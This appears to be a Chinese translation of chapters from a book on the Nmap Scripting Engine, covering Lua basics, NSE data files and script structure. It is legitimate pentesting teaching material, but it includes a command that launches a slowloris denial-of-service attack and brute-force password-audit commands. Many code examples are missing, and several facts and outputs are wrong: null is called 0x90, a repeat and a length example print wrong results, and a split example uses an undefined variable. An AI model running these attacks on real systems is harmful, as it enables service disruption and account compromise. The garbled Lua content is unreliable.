NSE为需要创建检测和利用漏洞的工具的渗透测试人员提供了一个伟大的框架。Nmap提供了很多选项,如底层数据包的创建和处理,用于与最流行的协议通信的库,以及报告漏洞的接口。对于那些不需要写新工具而只是想扫描他们的网络的人来说,有非常有用的脚本来检测常见的错误配置和自动完成繁琐的任务,如寻找被遗忘的备份文件和执行安全检查。
检测不安全的MySQL服务器配置
脚本根据安全控制列表检查MySQL服务器的配置。这个脚本需要你设置一些参数:
$nmap -p3306 --script mysql-audit --script-args 'mysql-audit.username="<username>",mysql-audit.password="<password>",mysql-audit.fileename=/usr/local/share/nmap/nselib/data/mysql-cis.adit' <target>
数据库中的每个控件都将被审计。以下是在Ubuntu服务器上未配置的MySQL服务器安装的结果。
检测慢速DOS攻击的web服务器漏洞
缓慢的拒绝服务攻击会打开尽可能多的连接,并发送最少的数据量,用尽可能长的时间来尝试消耗所有可用的网络资源。http-slowloris和http-slowloris-check
脚本允许检测容易受到这些攻击的服务器。Robert Hansen,也就是大家熟知的 "RSnake",在http://ha.ckers.org/slowloris/,发布了一个工具并很好地记录了这个漏洞。此外,还有一位安全研究人员叫Hugo Gonzalez发现这些攻击也可以移植到IPv6
以大量的并发连接运行http-slowloris脚本将发起缓慢的拒绝服务攻击。
#nmap -p80 --script http-slowloris --max-parallelism 300 <target >。
如果主机有漏洞,输出将返回类似这样的信息。
检测CVE-2014-3566的SSL服务器漏洞
被称为CVE-2014-3566的漏洞,也被称为Poodle,允许对使用SSL版本3的安全通信进行解密。虽然有更新的安全协议,但在现代web浏览器上可以进行降级攻击,迫使连接退回到SSLv3。因此,SSLv3现在被认为是过时的、不安全的。
为了检测允许SSLv3 CBC密码的服务,我们可以使用ssl-poodle
NSE脚本。
nmap -sV --version-all --script ssl-poodle -p- <target>
漏洞的服务将返回以下输出。
建立一个开发环境
要开始开发NSE脚本,您不需要任何东西,只需要一个新的Nmap拷贝和您喜欢的文本编辑器(vi, nano, gedit, 等等)。但是,如果您计划将您的稿件发送到开发邮件列表中,那么您需要配置您的文本编辑器来使用两个空格缩进,而不是制表符。
在您的Nmap安装目录中有一个名为HACKING的文件,您应该阅读。它包含对NSE开发感兴趣的人的有用提示。如果您用vi工作,您可能想在您的.vimrc文件中加入以下内容。
它包含了对HACKING文件中所列规则的一些补充。
你也可以从我的GitHub仓库下载该文件:https:// github.com/cldrn/nmap-nse-scripts/blob/master/.vimrc。
Halcyon IDE
对于那些喜欢用图形环境工作的人来说,有一个非官方的IDE,名为Halcyon IDE,专门为开发NSE脚本而创建。它是用Java编写的,允许开发人员在其内部测试和调试脚本,提供代码补全和语法高亮等功能。下面的屏幕截图显示了Halcyon IDE。
这个IDE的开发仍处于早期阶段,所以我建议提交你遇到的任何bug。官方的GitHub资源库可以在https://github.com/s4n7h0/Halcyon。
添加新的脚本
NSE脚本被列在一个名为script.db的文件中。把你的NSE脚本包含在这个数据库中,你就可以直接用名字来调用它们(没有.nse扩展名)。要在script.db数据库中添加新的脚本,你只需要把你的.nse文件复制到脚本目录中,通常是<NMAP install>/ scripts,然后运行以下命令。
#nmap --script-updatedb
摘要
在这一章中,我们介绍了NSE和它惊人的能力。现在,您应该已经安装了最新版本的Nmap,并准备好了您的开发环境。本章涉及的Nmap选项将是您舒适地运行和调试NSE脚本的全部需要。密切注意不同的脚本规则(prerule, postrule, portrule, and hostrule),它们将在本书中显示。
现在我们已经准备好开始编写NSE脚本,熟悉所有可用的库了。在接下来的章节中,你将发现NSE的真正力量。下一章将介绍Lua编程的基础知识,请准备好学习这种神奇的脚本语言。
Lua基础知识
Lua是一种动态解释的脚本语言,其特点是快速、灵活、可移植、小巧,且功能非常强大。正是由于这些原因,它被许多行业中的各种公认的项目所选择,包括信息
安全。Nmap脚本引擎(NSE)使用Lua,允许用户通过编写可以访问该工具收集信息的脚本轻松扩展Nmap的能力。
关于Lua及其美妙的灵活性和惊人的功能,可以写满整本书。本章只是向你介绍你需要知道的基础知识,以开始你自己的NSE脚本的工作。 如果你在读完本章后想更深入地了解Lua,我强烈建议你去看看他们的在线文档(http://www.lua.org/docs.html),或者通过购买他们的官方书籍(http://www.lua.org/donations.html#books)来支持该项目。
在这本书中,我们将使用Lua 5.2,因为在写这本书时这是最新的Nmap版本(6.47SVN)中包含的版本。然而,这里描述的基本原则和功能当然也适用于旧版和新版,因为我们不会使用任何废弃的函数。
如果你熟悉Lua中的以下概念,你可以跳过本章。
- 流控
- 数据类型
- 字符串处理
- 常见的数据结构
- I/O操作
- 协程
- 元表
- 与注释、内存管理、语义等有关的Lua其他特殊怪癖。
关于Lua的快速说明
现在我们将介绍Lua中的其他概念。如果你熟悉其他脚本语言,你会发现这一部分非常有用,因为它的目的是让你熟悉注释、数组索引、语义和数据类型等主题。
注释
注释可以是两个连字符和行末之间的任何内容。
--这是一个单行注释
也支持注释块。它们由--[[和]]字符划定。
--[[
这是一个多行注释块。
]]
假赋值
在有些情况下,你不需要一个函数返回的所有信息;在Lua中,你可以使用假赋值来放弃一个返回值。该操作符是
_(下划线)。例如,在下面的代码行中,我们放弃了前两个string.find的返回值,只存储第三个值。
local _, _, item = string.find(<string>, <pattern with capture>)
索引
索引从一开始,而不是从零开始。
z={"a", "b", "c"}
z[1]="b" --这个赋值将改变表的内容为{"b", "b", "c"}
然而,你可以以任何数值初始化一个数组。
请记住,所有标准的Lua库都将遵循这个约定。
语义
由于Lua的灵活性,你可能会遇到不同的语义。在下面的例子中,调用gmatch函数的两行都是完全有效的,并产生相同的结果。
使用obj:func表示只能调用不超过一个参数的函数。
强制
Lua提供了字符串和数字之间的自动转换。
现在这个字符串包含 "Pi = 3.1415926535898",而不需要
构造。
安全语言
Lua被认为是一种安全的语言,因为你可以一直追踪和检测程序错误,而且无论你做什么都不会导致内存损坏。然而,当你引入你自己的C模块时,你需要小心。
Booleans
除了false和nil之外,所有的值都被当作true来处理。
--下面的语句将评估为 "true"。
... -- 这将会执行,因为即使是0也会被评估为真
流量控制结构
一些经典的控制结构在Lua中实现了,比如if-then条件语句、一些不同的循环类型以及break和continue函数。让我们简单回顾一下这些结构。下面几节的目的是让你熟悉这门语言中使用的语法。
条件性语句--if-then, else, elseif
if-then条件语句评估一个表达式,如果该表达式为真,则执行一个代码块。它使用以下语法。
-做一些事情
Lua还支持使用elseif关键字的else-if条件语句。
一个else语句不需要任何表达式来进行评估。
循环 - while
while循环结构与我们在其他脚本语言中发现的非常相似
如Python。
循环 - repeat
重复循环运行主体,直到设定的条件为真。
译者注:这里所说的repeat就是我们熟知的do while
循环 - 为
有两种循环格式,一种用于通过数字索引进行迭代,另一种用于与迭代器一起工作。
前面代码的输出如下。
1
2
3
... 1337
步数(可以是负数)可以通过向循环语句传递第三个参数来设置。例如,要对一个数字进行递减迭代,可以传递-1作为步长。
下面是前面代码的输出。
1337
1336
1335
... 1
译者注: 1337,1,-1 ,解释为从1337到1步长是-1,用Java表示for(i=1337;i>=1;i--)
请记住,for循环必须以终止符关键字end结束。
pairs()迭代器函数允许对一个给定的表的键和值进行迭代。
前面的片段将产生以下输出。
由pair()迭代器返回的条目不保证是数字顺序的。如果你需要返回按数字键排序的值,请使用ipairs()函数。
前面代码的输出如下。
1, WEBSEC
2, FTW
数据类型
Lua有以下基本数据类型。
- 数字。这里存储整数和双精度浮点数
- 字符串。这是一连串的字节
- 布尔值。这存储了假和真的值
- 表。这个存储关联数组,可以用来表示多种数据结构
- 函数。这是一个函数的对象
- nil。这表示一个数据类型或变量缺乏一个值
- userdata。这暴露了C对象(或其他非Lua对象)的值。
- 线程。这是一个独立的执行线程
字符串处理
Lua的字符串库支持很多方便的字符串操作。在编写NSE脚本时,显然会经常用到字符串,因为它们是表示字节序列的完美工具。让我们回顾一下字符串处理中最常用的函数和运算符。
字符类
字符类是模式中使用的特殊运算符。在匹配或减去子串时,我们将需要它们,所以当我们回顾模式和字符串操作时,请记住它们。
字符类 |
代表 |
. |
所有字符 |
%a |
字母 |
%c |
控制字符 |
%d |
数字 |
%l |
小写字母 |
%p |
标点符号 |
%s |
空格字符 |
%u |
大写字母 |
%w |
字母数字字符 |
%x |
十六进制数字 |
%z |
空 (0x90) |
魔术字符
以下字符在模式中具有特殊功能。
操作符 |
功能 |
( ) |
圆括号封装了要捕获的模式 |
. |
任何字符 |
% |
魔术字符和非字母数字字符的转义字符 |
+ |
重复运算符 |
- |
重复运算符 |
* |
重复运算符 |
? |
重复运算符 |
[ |
定义集合 |
^ |
代表集合的补数 |
$ |
代表一个字符串的结束 |
模式
模式是用来匹配字符串的,它们非常强大。可以把它们看作是Lua中简化的正则表达式。字符类和捕获与支持贪婪和非贪婪匹配的模式结合使用,允许程序员执行高级字符串匹配、替换和提取。
例如,代表空字节(0x90)的字符类是%z。要从一个缓冲区中删除所有的空字节,我们可以这样做。
...
buffer = io.read()
buffer = string.gsub(buffer, "%z", "") --这将从缓冲区中删除所有空字节。
...
比方说,我们想匹配一个包含版本号的字符串,其格式如下。
一个匹配的模式可以是这样的。
前面的模式将匹配像这样的字符串。
我们可以使用方括号创建字符集。一个集合将匹配括号内的任何字符。
在内部,模式只不过是Lua中的字符串;因此,同样的规则适用于它们。
捕获
捕获是非常方便的,因为它们允许开发者选择模式的一部分返回给调用函数。捕捉器由圆括号分隔,它们主要用于从模式中提取信息。
下面的例子是http-majordomo2-dir-traversal脚本的一个片段。它使用模式捕获(.*)来存储由<pre>和<!-- Majordomo help_foot format file -->字符串划定的远程内容。
...
local _, _, rfile_content = string.find(response.body, '<pre>(.*)<! %-%- Majordomo help_foot format file %-%->')
...
请记住,Lua模式允许使用"-",即非贪婪的重复操作符,它简化了字符串匹配。这在处理HTML和JavaScript时非常有用。
重复运算符
以下的重复运算符以不同的方式影响前一个字符或字符集,这取决于运算符的情况。这一功能使我们能够匹配长度未知的字符串。
操作符 |
特点 |
? |
可选 |
* |
零次或更多次,而且是尽可能多的次数 |
+ |
至少一次,并尽可能多的次数 |
- |
零次或更多次,如果可能的话,也有几次 |
例子。
串联
要连接字符串,请使用...运算符。
下面是前面代码的输出。
字符串到数字(反之亦然)的转换是由Lua自动完成的。
寻找子字符串
在很多情况下,你需要知道某个字符串是否是另一个字符串对象的子串--例如,为了匹配一个网络请求的响应。在以下函数的帮助下,我们可以用Lua以几种不同的方式实现这一目的。
string.find函数返回字符串发生的开头和结尾的位置,如果没有找到发生的位置则返回nil。当我们需要找到一个字符串并且需要位置偏移的时候,应该使用它。
> print(string.find("hello", "ello"))
2 5
另一方面,如果你不需要位置索引,你可以使用string.match函数。
string.find和string.match方法只对字符串的第一次出现起作用。如果有多个出现,你必须使用string.gmatch(g代表global)来获得一个找到的对象的迭代器。
下面是前面代码的输出。
1
2
3
4
5
6
字符串重复
为了用Lua连接n倍于s的字符串,我们有string.rep函数。
string.rep(string, number)
例子。
> print(string.rep("a", 13))
aaaaaaaaaaaa
字符串长度
要确定一个字符串的长度,可以使用string.len函数。
string.len(string)
例子。
> print(string.len("AAAAA"))
7
格式化字符串
我们可以用给定的格式和变量来创建字符串。这比使用多个连接运算符节省了时间,并产生更好的代码(更容易阅读)。
string.format(string, arg1, arg2, ...)
例子。
分割和连接字符串
虽然没有内置函数来分割和连接字符串,但stdnse NSE库可以处理这个问题。
例子。
local stdnse = require "stdnse"
...
local csv_str = "a@test.com,b@foo.com,c@nmap.org"
local csv_to_emails = stdnse.strsplit(",", emails)
for email in pairs(csv_to_emails) do print(email)
end
前面代码的输出如下。
常见的数据结构
在Lua中,你将使用表数据类型来实现你所有的数据结构。这种数据类型有很好的特性,例如能够存储函数和动态分配,以及其他许多特性。希望在回顾了一些常见的数据结构后,你会发现自己很喜欢它们的灵活性。
表
表非常方便,允许我们非常有效地实现数据结构,如字典、集合、列表和数组。一个表可以被初始化为空,也可以用一些值。
T1={}--空表
T2={"a", "b", "c"}
整数索引或散列键可以用来分配或解除对表中数值的引用。需要记住的一件事是,我们可以在同一个表中有两种类型。
t={}
t[1] = "hey"
t["nmap"] = "hi " --这是有效的。
为了获得存储在表中的元素数量,你可以预加#操作符。
请记住,#运算符只计算具有整数索引的条目,而且不是确定性的。如果你正在处理非线性的整数索引,你需要迭代整个表来获得条目的数量。
数组
数组可以通过使用带有整数索引的表来简单实现。表的大小不需要在一开始就声明,可以根据你的需要增长。
另一个例子。
链表
由于表可以存储对其他表的引用,我们可以很好地实现链表。
通过指定一个字段作为下一个链接的参考,可以直截了当地实现。
前面代码的输出如下。
集合
集合通常用于查找表格;因为我们可以在Lua中使用哈希键作为索引,所以查找可以在恒定的时间内执行,而且非常有效。
--要查询一个键,我们只需访问字段。
队列
FIFO队列也可以用几行源代码实现。
自定义数据结构
表也可以用来表示许多其他的自定义数据结构。一些NSE脚本使用存储在文件中的表作为数据库。表也可以引用其他的表,甚至存储函数;这在数据建模时非常方便。
在接下来的章节中,你将学习如何使用http-enum和http-default-accounts NSE脚本使用表格来轻松地存储指纹,这些指纹也可以是装入脚本,而不需要额外的解析程序。
http-enum数据库
这是属于http-enum NSE脚本的一个指纹的结构。
http-default-accounts
下面是http-default-accounts NSE脚本的指纹结构。
I/O操作
Lua中的文件操作是在隐式或显式文件描述符上进行的。我们将专注于使用显式文件描述符来执行大部分的操作。
如果我们默认使用隐式文件描述符工作,Lua将使用stdin
和stdout。或者,我们可以分别用io.output和io.input来设置输出和输入描述符。
模式
Lua中支持的文件模式有以下几种。
文件模式 |
描述 |
r |
这是读模式。 |
w |
这是写模式。 |
a |
这就是追加模式。 |
r+ |
这是更新模式。它保留了现有的数据。 |
w+ |
这是更新模式。它删除了任何现有的数据。 |
a+ |
这是追加更新模式。它保留了现有的数据,只允许在文件的末尾进行追加。 |
打开一个文件
io.open函数如果成功返回一个文件描述符。
file = io.open (filename [, mode])
如果它失败了,它将返回nil和相应的错误信息(像大多数Lua函数一样)。
读取一个文件
要使用显式文件描述符读取文件,请使用io.read函数。
file = io.open(filename) val = file:io.read("%d")
有一个叫io.lines的函数,它将接受一个文件名作为参数并返回一个迭代器来遍历文件名的每一行。这个函数可以帮助我们以新行划分的块来处理文件。
写入一个文件
io.write函数接收n个字符串参数,并将它们写入到
对应的文件描述符。
io.write(arg1,arg2,arg3...)
例子。
test.txt文件的内容如下。
关闭一个文件
在你完成之后,你应该使用io.close函数关闭文件,以释放
的文件描述符。
io.close ([file])
协程
Coroutines是Lua的一个非常有趣的功能,它允许协作式多任务。请记住,Coroutines不是常规的抢占式线程。当你需要不同的工作者使用相同的上下文时, Coroutines将帮助你节省时间。
它们消耗的资源非常少。
让我们来学习一下冠词的基本知识。在第9章 "并行性 "中,我们将深入探讨这一主题。
创建
要创建一个程序,使用coroutine.create函数。这个函数在不执行它的情况下创建了coroutine。
执行
要执行,使用coroutine.resume函数。
coroutine.resume(<coroutine>)
你也可以将参数传递给coroutine函数,作为coroutine.resume函数的额外参数。
下面是前面代码的输出。
1,2,3
有一个叫做coroutine.wrap的函数,可以取代运行coroutine.create和coroutine.resume的需要。唯一的区别是,coroutine必须被分配给这个函数。
确定运行中
要获得当前正在运行的coroutine,请使用coroutine.running函数。
前面代码的输出如下。
获取一个状态
要获得一个当前状态,我们可以使用coroutine.status函数。这个函数可以返回以下值之一。
功能值 |
描述 |
运行 |
Coroutine正在执行 |
死亡 |
Coroutine已经运行完毕 |
暂停 |
Coroutine正在等待被执行 |
例子。
下面是前面代码的输出。
暂停
要处于暂停模式,请使用coroutine.yield函数。
l
前面代码的输出如下。
元表和元方法
元方法允许我们通过为运算符编写自定义函数来改变表的行为--比如比较对象、算术运算等等。例如,假设我们想用一个新的函数来重载我们表对象的 "添加 "功能,添加我们选择的某些字段。通常情况下,加法操作在表上是无效的,但是通过元表,我们可以重写add元方法来执行我们需要的任何操作。
算术元方法
Lua表所支持的元方法如下。
元方法 |
描述 |
__add
|
加法运算符 |
__mul
|
乘法运算符 |
__sub |
减法运算符 |
__div
|
除法操作员 |
__unm |
否定运算符 |
__pow |
指数运算符 |
__concat |
串联运算符 |
关系型元方
下列关系元方法也被Lua表支持。
元方法 |
描述 |
__eq
|
等 |
__lt
|
小于 |
__le |
小于或等于 |
setmetatable函数用于设置一个表的metatable。
摘要
Lua是一种动态类型的语言,是快速编写脚本的完美选择。它非常轻,内存安全,为协作式多任务、模式匹配、数据建模和字符串处理提供有用的功能。Nmap用Lua来驱动它的脚本编写。
称为NSE的引擎。在这一章中,我试图为那些不熟悉Lua语言的人提供Lua的基础知识。我涵盖了诸如字符串操作、流控制结构、数据类型,甚至语言中的特殊怪癖等主题。
我坚信,要真正掌握NSE,必须能够调试和创建NSE脚本。做到这一点的人将会有一个宝贵的工具供他们使用。在下一章中,我们将深入到NSE的核心,学习它的库、函数和
秘密。正如其他任何编程语言一样,实践出真知。在每一章之后,试着应用这些概念,至少写一个脚本。如果你能做到这一点,那么,在本书结束时,你就能掌握NSE了。
NSE数据文件
一些Nmap脚本引擎(NSE)需要数据库来存储详细列表,如用户名、密码、乱七八糟的字符串,以及包含用作指纹的函数的Lua表。NSE将这些数据库存储在安装时定义的文件夹中。为每个数据库选择的条目试图在最常见的场景中尽可能好地工作,但避免包含大文件,以防止官方版本过于臃肿。
高级用户很快就明白,为他们的日常任务更新其中一些数据库是必不可少的。一些NSE脚本的有效性受到我们在Nmap扫描期间如何选择数据库的严重影响。
本章介绍了NSE中最重要的数据文件,这样你就可以决定什么时候使用默认数据库就足够了,什么时候需要使用不同的数据库。
在这一章中,我们将审查随Nmap分发的下列文件。
- Nmap的数据目录
- 用户名和密码数据文件
- 网络应用程序审计数据文件
- 数据库管理系统(DBMS)审计数据文件
- Java调试线协议(JDWP)数据文件
- 其他NSE数据文件
本书的官方网站还包括一些你可以下载的数据文件。让我们在本章开始时介绍一下这些数据库的存储位置以及如何找到数据目录。
找到你的数据目录
本章包括对您的Nmap数据目录的引用,所以您在继续之前找到它很重要。下表显示了一些您可以找到Nmap的默认安装路径。
业务系统 |
安装路径 |
窗户 |
C:\Program Files\Nmap\ |
非Windows系统 |
/usr/local/share/nmap/和/usr/share/nmap/。 |
NSE数据目录位于您的Nmap安装路径中的nselib/data。
--datadir参数可以用来手动选择扫描时使用的数据目录,像这样。
$nmap --datadir /usr/local/nmap-data/ -sC -sV <目标>。
数据目录搜索顺序
NSE将自动尝试从不同的来源检索数据文件,当有多个数据文件来源时,这种搜索的顺序决定了哪些文件将被使用。
NSE将尝试按照以下顺序寻找数据文件。
- 脚本参数,--data-dir(如果设置)。
- 环境变量,NMAPDIR
- 运行用户的~/.nmap目录(仅在非Windows系统上)。
- 安装目录
- 安装目录中附加了./share/nmap(仅在非Windows系统上)。
- 在编译时定义的位置
在爆破中使用的用户名和密码列表
爆破库和所有依赖它的NSE脚本在进行爆破密码审计攻击时使用两个单独的数据库来检索用户名和密码。与Nmap一起分发的字典有点小,因为包括和分发大文件是不现实的。鉴于默认的用户名和密码字典只有一个,用户可以替换这些字典或通过库参数提供不同的字典。
大小分别为72KB和46KB。
请记住,你所有的爆破的有效性取决于你的字典有多好。
用户名词典
用户名存储在您的Nmap数据目录的usernames.lst文件中。这个文件包含以下条目。
-
• root• admin• administrator• webadmin• sysadmin• netadmin• guest• user• web• test
根据服务的不同,必须添加某些用户才能使脚本成功。例如,MS SQL Server的默认管理账户sa不包括在默认列表中,而且也不可能出现在基于英文单词的通用用户名列表中。如果你运行ms-sql-brute脚本而不加参数,你将永远无法检查管理员账户是否使用了弱口令。
如果你不知道在哪里可以得到一个好的字典文件。
我已经把不同的字典和资料上传到这本书的官方网站。一如既往,欢迎大家推荐,http://mastering-nse.com。
密码字典
破解库使用的密码列表存储在您的Nmap数据目录下的passwords.lst文件中。它包含刚刚超过5000个最流行的密码。这个字典对使用英语密码系统很好,但对其他语言不一定太有效。
使用正确的密码列表将是破坏服务和不破坏服务之间的区别。我强烈建议在每一次字典攻击中总是手动选择你的字典,以提高有效性。我还建议为通用服务的扫描保留不同的版本,为特定服务保留最大的单词列表,以避免网络堵塞。
译者注:作者的意思是弄一个大字典再弄一个小字典
网络应用程序审计数据文件
NSE以其网络扫描能力而闻名,一些脚本也需要数据文件以增加其灵活性。同样,作为一般建议,你应该通过它们来确保它们适用于你的地区。让我们回顾一下有哪些数据文件可用于网络安全审计。
http-fingerprints.lua
这是NSE中与网络扫描有关的最重要的文件。它包含了http-enum脚本所使用的指纹。http-enum脚本是网络枚举脚本,它寻找常见的应用程序路径和被遗忘的配置文件;它甚至可以检测一些网络漏洞。
指纹实际上是Lua表。条目看起来有点类似如下:
你可以使用http-enum.fingerprintfile脚本参数选择不同的指纹文件的位置。
$nmap --script http-enum --script-args http-enum.fingerprintfile=./ myfingerprints.txt -p80<target>。
数据库的格式允许我们通过简单地在文件中添加新的Lua表来插入新的指纹。如果你写了新的,别忘了把它们发送到开发邮件列表中,为项目作出贡献。
http-enum脚本的官方文档可以在以下网址找到
http://nmap.org/nsedoc/scripts/http-enum.html。
http-sql-errors.lst
这个文件包含了用http-sql-injection脚本检测SQL注入漏洞时使用的错误字符串。这个数据库取自fuzzdb项目(http://code.google.com/p/fuzzdb/),包含339个错误字符串。
你可以用http-sql-injection.errorstrings设置一个不同的源。
脚本参数。
$nmap -p80 --script http-sql-injection --script-args http-sql-injection. errorstrings=/home/user/fuzzin/errors.txt <target>.
http-sql-injection脚本的官方文档
在http://nmap.org/nsedoc/scripts/http-sql-injection.html.
http-web-files-extensions.lst
http-spider NSE库使用这个文件来存储网页中使用的常见文件扩展名。默认的文件有214个扩展名,但如果你正在使用一个相当奇特的网络环境,并且网络爬行库正在解析它不应该解析的文件,你可以很容易地添加自己的扩展名。
http-devframework-fingerprints.lua
这个文件是由http-devframework脚本使用的,该脚本是用来自动识别web应用程序使用的常见开发框架的。每个条目是一个包含以下字段的Lua表。
- name: 这是开发签名的描述性名称。
- rapidDetect。这是在检测过程开始时执行的回调函数。
- consumingDetect。这是为每个搜索到的页面执行的回调函数
例如,ASP环境的检测功能如下。
ASPdotNET = { rapidDetect = function(host, port) response = http.get(host, port, "/" )
http-devframework脚本的官方文档可以在http://nmap.org/nsedoc/scripts/ http-devframework.html找到。
http-folders.txt
这个文件包含956个文件夹名称中常用的字符串,是http-iis-webdav-vuln脚本所要求的。这个脚本试图识别有漏洞的IIS5.1/6.0网络服务器。
你可以设置folderdb脚本参数来选择一个替代的数据库。
$nmap -p80 --script http-iis-webdav-vuln --script-args folderdb=/pentest/fuzzers/folders.txt <target>.
http-iis-webdav-vuln脚本的官方文档可以在http://nmap.org/nsedoc/scripts/http-iis。
-webdav-vuln.html。
vhosts-default.lst
http-vhosts脚本使用这个文件来尝试寻找配置在网络服务器中的不同虚拟主机。如果你将与网络应用程序一起工作,你必须使用更大的数据源来增加你的覆盖面。
你可以设置http-vhosts.filelist脚本参数来选择一个替代的数据库。
$nmap -p80 --script http-vhosts --script-args http-vhosts.filelist=/ pentest/vhosts.txt <target>。
http-vhosts脚本的官方文档可以在以下网址找到
wp-plugins.lst
在您的Nmap数据目录里面的wp-plugins.lst文件包含18,575个常见的WordPress插件名称,在http-wordpress-plugins脚本的暴力攻击中使用。但是,请记住,如果您不设置http-wordpress-plugins.search脚本参数,该脚本将只尝试前100个名字。
$nmap -p80 --script http-wordpress-plugins --script-args http-wordpress
-plugins.search<目标>。
http-wordpress-plugins脚本的官方文档可以在http://nmap.org/nsedoc/scripts/ http-wordpress-plugins.html找到。
DBMS-审计数据文件
某些与DBMS相关的脚本使用数据文件来存储常见的、相关的字符串和指纹来进行安全审计。如果你通常与Oracle环境一起工作,我强烈建议更新以下文件。
mysql-cis.audit
你的Nmap数据目录里面的mysql-cis.audit文件包含CIS MySQL v1.0.2基准中描述的配置检查。它被mysql-audit脚本用来通过执行一系列测试来进行配置检查。一个测试看起来像这样。
你可以设置mysql-audit脚本参数来选择一个替代的数据库。
$nmap -sV --script mysql-audit --script-args mysql-audit.filename=/ pentest/mysql.audit <target>。
mysql-audit脚本的官方文档可以在以下网址找到
http://nmap.org/nsedoc/scripts/mysql-audit.html。
oracle-default-accounts.lst
您的Nmap数据目录中的oracle-default-accounts.lst文件被oracle-brute和oracle-brute-stealth脚本用来尝试列举Oracle服务器中的有效用户名;它包含687个条目。
为了强制oracle-brute和oracle-brute-stealth脚本读取备用数据库,你可以设置userdb参数。
$nmap --script oracle-brute --script-args userdb=/pentest/ users.txt <target>.
oracle-default-accounts脚本的官方文档可以在http://nmap.org/nsedoc/scripts/ oracle-enum-users.html找到。
在您的Nmap数据目录中的oracle-sids文件包含700多个Oracle服务器使用的常见实例名称,并与oracle-sid一起分发。
-brute脚本。oracle-sid-brute.oraclesids脚本参数可以用来从命令行设置一个备用的数据源。
$nmap-p1521-1560 --script oracle-sid-brute --script-args oracle-sid
-brute.oraclesids=/pentest/sids.txt <目标>
oracle-sid-brute脚本的官方文档可以在http://nmap.org/nsedoc/scripts/oracle-sid-brute.html。
Java调试线协议数据文件
Java的远程调试端口使用JDWP协议,NSE有一些脚本来检测和利用有漏洞的服务器。让我们简单回顾一下您在数据目录内会发现随Nmap分发的可用的Java类。
JDWPExecCmd.java
这是一个用于运行远程命令的Java类。它使用Runtime.getRuntime().exec函数来执行需要的命令。
JDWPSystemInfo.class
这个Java函数试图检索以下系统信息。
- 总空间(字节)
- 自由空间(字节)
- 操作系统
- 操作系统版本
- 操作系统补丁级别
- 操作系统架构
- Java版本
- 帐号
- 用户主页
其他NSE数据文件
现在我们将简要介绍一下其他有趣的NSE数据文件,这些文件不属于
以前的类别。
mygroupnames.db
该文件包含450个字符串,用作广播-igmp的多播组名称。
-discovery脚本。记住,你也可以使用broadcast-igmp-discovery.mygroupnamesdb脚本参数来使用一个不同的数据库。
$nmap --script broadcast-igmp-discovery --script-args broadcast-igmp
-discovery.mygroupnamesdb=/pentest/groups.txt<target>。
broadcast-igmp-discovery脚本的官方文档可以在http://nmap.org/nsedoc/scripts/ broadcast-igmp-discovery.html中找到。
rtsp-urls.txt
这个数据库被rtsp-url-brute脚本用来存储监控IP摄像机中74个常见的媒体URL。你可以使用rtsp-url设置一个替代的数据文件
-brute.urlfile 脚本参数来自命令行。
#nmap -p- -sV --script rtsp-url-brute --script-args rtsp-url-brute. urlfile=/pentest/urls-media.txt<target>。
rtsp-url-brute脚本的官方文档可以在http://nmap.org/nsedoc/scripts/rtsp-url-brute.html。
snmpcommunities.lst
SNMP协议通常提供了很多关于主机的信息。然而,一些使用该协议的NSE脚本需要一个社区字符串。在这个位于你的数据目录内的默认文件中,只有六个社区字符串。
-
• public• private• snmpd• mngt• cisco• admin
ssl-密码器
ssl-enum-ciphers脚本使用这个文件来存储已知加密密码的分数。
ssl-enum-ciphers脚本的官方文档可以在http://nmap.org/nsedoc/scripts/ssl- enum-ciphers.html找到。
ssl-fingerprints
这个文件被ssl-know-key脚本用来匹配已知的问题密钥列表。
ssl-known-key脚本的官方文档可以在http://nmap.org/nsedoc/scripts/ssl-known-key.html。
ike-fingerprints.lua
这个文件被IKE-版本脚本用来收集IKE服务的信息。一个条目有该领域的类别、供应商、版本、ostype、devicetype、cpe和指纹;它看起来像下面的代码。
ike-version脚本的官方文档可以在以下网址找到
http://nmap.org/nsedoc/scripts/ike-version.html。
tftplist.txt
在你的数据目录内,这个文件被tftp-enum脚本使用,并存储了89个在TFTP服务器中发现的常见配置文件。要手动设置要下载的文件列表,请使用tftp-enum.filelist脚本参数。
$nmap -sU -p69 --script tftp-enum --script-args tftp-enum-filelist=/ pentest/files.txt <target>.
tftp-enum脚本的官方文档可以在以下网址找到
http://nmap.org/nsedoc/scripts/tftp-enum.html。
其他Nmap数据文件
Nmap还使用其他数据文件,我们不涉及,因为它们与NSE无关。然而,如果您打算添加您自己的操作系统和服务检测签名,它们值得一提。
关于这些文件的更多信息,请参见以下链接。
摘要
在这一章中,我们看了NSE使用的不同数据文件以及使用你自己的自定义文件的重要性。从现在开始,你将认识到根据环境定制扫描的机会,以提高扫描的有效性。
我还建议你开始囤积你在日常生活中遇到的常用字符串、用户名和密码。它将在以后的日子里被证明是非常有价值的。
在下一章中,你将开始学习NSE的API和可用的库,这将使我们的生活更容易。现在是你开发你自己的脚本的时候了。
探索Nmap脚本引擎API和库
NSE API和库允许开发者获得主机和端口信息,包括服务的版本,并在用Nmap扫描网络时执行广泛的任务。就像在任何其他编程语言或框架中一样。
NSE库分离并重构了可能对其他NSE脚本有帮助的代码。诸如创建网络套接字连接、存储有效凭证、或从命令行读取脚本参数等任务通常由这些库处理。Nmap目前发布了107个NSE库,正式与最流行的协议通信,执行常见的字符串处理操作。
甚至还提供了一些实现类,如brute库,它提供了一个Driver类来快速编写你自己的密码审计脚本。
本章包括以下主题。
- 了解NSE脚本的结构
- 探索Nmap的API和库
- 脚本与NSE注册处之间的信息共享
- 编写你自己的NSE库
- 拓展NSE库的功能
完成本章后,您将了解哪些信息可以通过Nmap API访问,以及如何更新这些信息以反映脚本结果。我的目标是让您熟悉一些最流行的NSE库,并在需要时教您如何扩展它们的功能。
了解NSE脚本的结构
一个NSE脚本至少需要以下字段。
- 描述。这个描述是由 --script-help Nmap选项读取的,并在文档中使用。
- 类别。这个字段定义了选择脚本时使用的脚本类别。
- 行动。这是NSE脚本的主要功能,在选择时被执行。
- 执行规则。这定义了脚本何时运行。参见第1章,Nmap脚本引擎简介,了解一些执行规则的例子。
完整的类别清单,见附录C,脚本类别。
其他NSE脚本字段
其他可用的字段描述了诸如许可、依赖性和类别等主题。这些字段是可选的,但我非常鼓励你添加它们以提高你的脚本文档的质量。
作者
本字段为与社区分享其作品的脚本作者提供信用。包括电子邮件地址也是可以接受的。
许可证
开发者可以自由地使用他们喜欢的任何许可证,但是,如果他们想分享他们的脚本并把它们包含在官方版本中,他们必须使用Nmap的许可证或伯克利软件分发(BSD)风格的许可证。
描述Nmap许可证的文档可以找到
